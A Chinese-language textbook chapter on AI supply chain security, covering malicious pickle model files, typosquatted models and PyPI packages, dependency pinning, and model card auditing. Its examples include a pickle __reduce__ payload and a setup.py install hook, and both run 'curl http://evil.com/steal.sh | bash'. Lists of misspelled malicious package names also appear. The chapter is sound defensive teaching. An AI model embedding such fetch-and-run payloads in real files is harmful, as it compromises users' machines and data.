第4章：供应链安全

本章导读

前三章讨论的攻击（对抗样本、隐私泄露、数据投毒）都有一个共同前提：攻击者需要直接与模型交互或接触训练数据。但本章要揭示一条更隐蔽的攻击路径：不直接攻击模型本身，而是在模型的来源和依赖中做手脚。 当你从 Hugging Face 下载一个开源模型、用 pip 安装一个 Python 库时，你是否考虑过它们可能已经被植入了恶意代码？这就是 AI 供应链安全问题，攻击发生在你意识到风险之前。

本章将帮你建立 AI 供应链的全局认知：从预训练模型到微调数据集、从训练框架到 Python 依赖库，整条链路上的每个环节都可能成为攻击入口。我们将重点介绍开源模型的安全风险（恶意模型文件、pickle 反序列化攻击）、依赖库的安全隐患（依赖混淆、恶意包），以及模型卡审计的基本方法。作为模块四的最后一章，本章将你的风险视野从"模型本身"扩展到"整个 AI 生态系统"，为模块五的系统性安全评估提供了最后一块关键拼图。

学习目标

1 AI 供应链概述

1.1 什么是 AI 供应链

传统软件有供应链（操作系统→编程语言→框架→库→应用），AI 系统同样有自己的供应链。下图展示了一个典型的 AI 应用从上游到最终交付的全链路：

供应链中的每个环节都可能成为攻击目标。一个环节被攻破，整条链路都会受影响，下游的所有使用者都会"继承"这个安全问题。

1.2 为什么 AI 供应链安全尤其重要

相比传统软件供应链，AI 供应链面临的安全挑战更为特殊：

2 开源模型的安全风险

2.1 模型托管平台

目前最主要的开源模型托管平台是 Hugging Face，它就像 AI 领域的 GitHub。截至 2025 年，平台上已有超过 100 万个模型被上传和共享。

这种开放的生态带来了巨大便利，但也创造了攻击面，任何人都可以上传模型，而下载者往往默认信任平台上的内容。

2.2 三类主要风险

import pickle
import os

class MaliciousModel:
    def __reduce__(self):
        # pickle 加载时会自动调用 __reduce__
        # 攻击者可以在这里执行任意代码
        return (os.system, ("curl http://evil.com/steal.sh | bash",))  

# 用户只是正常加载模型，恶意代码就会执行
# model = pickle.load(open("model.pkl", "rb"))  ← 危险！

✅ 正版：Qwen/Qwen2-1.5B-Instruct
❌ 仿冒：Qvven/Qwen2-1.5B-Instruct   ← w → vv
❌ 仿冒：Qwen/Qwen2-l.5B-Instruct    ← 1 → l（小写字母L）
❌ 仿冒：Qwen/Qwen2-1.5B-lnstruct    ← I → l

2.3 如何识别可信模型

在下载和使用开源模型时，建议按以下清单逐项检查：

3 依赖库的安全风险

3.1 Python 依赖的信任问题

AI 开发大量使用 Python 生态，一个典型的 AI 项目可能依赖数十个甚至上百个包。每安装一个包，你就隐式地信任了这个包的所有维护者，以及它的所有上游依赖。

上图是一个简化的依赖树。实际项目中，pip install transformers 一条命令就会安装 30+ 个包。其中任何一个被攻破，你的项目就会受影响。

3.2 三种常见攻击方式

以名称仿冒为例，以下拼写差异在安装时很难察觉：

pip install numpy        # ✅ 正确
pip install numpyy       # ❌ 恶意包                
pip install reqeusts     # ❌ 恶意包（requests 拼错） 
pip install python-dotenv  # ✅ 正确
pip install python-dotnev  # ❌ 恶意包              

3.3 案例：AI/ML 生态的真实攻击

案例一：PyPI 恶意 ML 包（2023）

安全研究人员发现 PyPI 上有多个恶意包伪装成流行的 ML 库。这些包在安装时（setup.py 阶段）会自动下载并执行远程恶意脚本：

from setuptools import setup
import os

# 安装时自动执行，用户完全无感知
os.system("curl -s http://evil.com/steal.sh | bash")  

setup(
    name="numpyy",  # 伪装成 numpy
    version="1.24.0",
    # ... 其余看起来完全正常
)

案例二：Hugging Face 恶意模型（2024）

安全公司 JFrog 在 Hugging Face 上发现了约 100 个包含恶意代码的模型。这些模型使用 pickle 格式，在加载时会建立反向 Shell 连接，让攻击者远程控制用户的机器。

3.4 依赖安全最佳实践

# ❌ 不安全：范围版本，可能自动升级到被劫持的新版本
transformers>=4.40
torch>=2.0

# ✅ 安全：固定精确版本 + 哈希校验
transformers==4.40.0 \                              
    --hash=sha256:abc123...
torch==2.2.0 \                                      
    --hash=sha256:def456...

完整的依赖安全策略：

4 模型卡审计

4.1 什么是模型卡

模型卡（Model Card）是模型的"说明书"，记录了模型的关键信息。它最早由 Google 在 2019 年提出（Model Cards for Model Reporting），现在已成为 Hugging Face 上的标准实践。

一个完善的模型卡应该包含以下信息：

4.2 从安全角度审计模型卡

当评估一个开源模型是否值得信任时，可以从三个维度进行安全审计：

维度一：训练数据的透明度

这是评估数据投毒风险的关键。需要关注：

• 训练数据来源是否清楚说明？（"从互联网爬取"vs"使用 xx 数据集"）
• 数据是否经过清洗和审核？清洗流程是否公开？
• 是否包含个人信息或敏感内容？如何处理的？

维度二：已知风险的披露

负责任的模型开发者会主动披露模型的局限性：

• 是否说明了模型的已知局限性和失败场景？
• 是否有关于潜在危害的警告？
• 是否描述了不适合使用的场景？

维度三：安全评估结果

• 是否提供了安全评测（红队测试）结果？
• 是否有关于偏见和公平性的分析？
• 是否描述了为减少风险所采取的措施？

4.3 实践：读懂模型卡

以下是一个模型卡 JSON 元数据的示例。从安全角度来看，哪些字段值得关注？

{
  "model_name": "SecureChat-7B",
  "author": "example-org",
  "license": "Apache-2.0",
  "base_model": "Qwen/Qwen2-7B",
  "training_data": {                                         
    "sources": ["OpenAssistant", "ShareGPT", "自有标注数据"],  
    "size": "200K 条对话",                                    
    "filtering": "人工审核 + 自动过滤敏感内容"
  },
  "evaluation": {
    "benchmarks": { "MMLU": 64.2, "HumanEval": 45.1 },
    "safety_tests": {                                        
      "toxicity_rate": "0.3%",                               
      "red_team_tested": true,                               
      "known_vulnerabilities": ["对角色扮演越狱的防御较弱"]     
    }
  },
  "limitations": [                                           
    "可能生成不准确的信息",                                    
    "不应用于医疗、法律等专业建议",                             
    "在低资源语言上表现显著下降"
  ]
}

上面用 focus 标注的字段是安全审计的关键：training_data 帮助评估数据投毒风险，safety_tests 展示了安全测试的范围，limitations 披露了已知局限。

在实验 4.4 中，你将练习审计一个模拟的模型卡 JSON，系统性地检查其中的安全相关信息。

本章小结

本章介绍了 AI 供应链安全，一个容易被忽视但影响深远的安全领域。

AI 供应链：从预训练模型到部署应用的每个环节都可能成为攻击目标。AI 领域高度依赖开源生态、模型文件不可人工审查、信任链条长，这三个特点使供应链安全尤为重要。

开源模型风险：恶意代码执行（pickle 反序列化）、模型权重篡改（后门植入）、冒名仿冒模型（typosquatting）。下载模型时应检查发布者身份、文件格式、社区验证和模型卡。

依赖安全：供应链劫持、名称仿冒、依赖混淆是三种主要攻击方式。应实践版本固定、哈希校验、来源验证和最小依赖原则。

模型卡审计：从训练数据透明度、已知风险披露、安全评估结果三个维度审计模型卡，是评估模型可信度的重要手段。模型卡缺失本身就是风险信号。

在实验 4.4 中，你将对一个模拟的模型卡进行安全审计，练习系统性地评估模型的安全风险。

课后思考

自测 Quiz

延伸阅读

• Hugging Face 模型安全扫描
• Model Cards for Model Reporting（Google 原始论文）
• The Foundation Model Transparency Index